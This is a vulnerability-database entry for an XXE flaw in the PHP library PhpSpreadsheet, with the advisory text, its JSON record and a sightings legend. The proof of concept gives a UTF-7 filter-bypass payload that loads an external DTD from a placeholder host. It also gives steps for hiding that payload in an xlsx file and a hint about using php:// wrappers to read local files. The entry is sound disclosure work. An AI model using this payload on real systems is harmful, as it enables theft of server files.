GHSA-GHG6-32F9-2JP7
Vulnerability from github – Published: 2024-08-29 17:58 – Updated: 2025-03-06 18:10Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
1) Create simple xlsx file
2) Rename xlsx to zip
3) Go to the zip and open the xl/sharedStrings.xml file in edit mode.
4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
5) Save sharedStrings.xml file and rename zip back to xlsx.
6) Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
7) You will receive the request to your http://%webhook%/file.dtd
8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpexcel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45048"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T17:58:27Z",
"nvd_published_at": "2024-08-28T21:15:06Z",
"severity": "HIGH"
},
"details": "### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = \u0027/encoding=\"(.*?)\"/\u0027;` easy to bypass. Just use a single quote symbol `\u0027`. So payload looks like this:\n```\n\u003c?xml version=\"1.0\" encoding=\u0027UTF-7\u0027 standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"\u003e %xxe;]\u003e\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e` to \n```\n\u003c?xml version=\"1.0\" encoding=\u0027UTF-7\u0027 standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"\u003e %xxe;]\u003e\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont\u0027t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n",
"id": "GHSA-ghg6-32f9-2jp7",
"modified": "2025-03-06T18:10:41Z",
"published": "2024-08-29T17:58:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45048"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XXE in PHPSpreadsheet encoding is returned"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.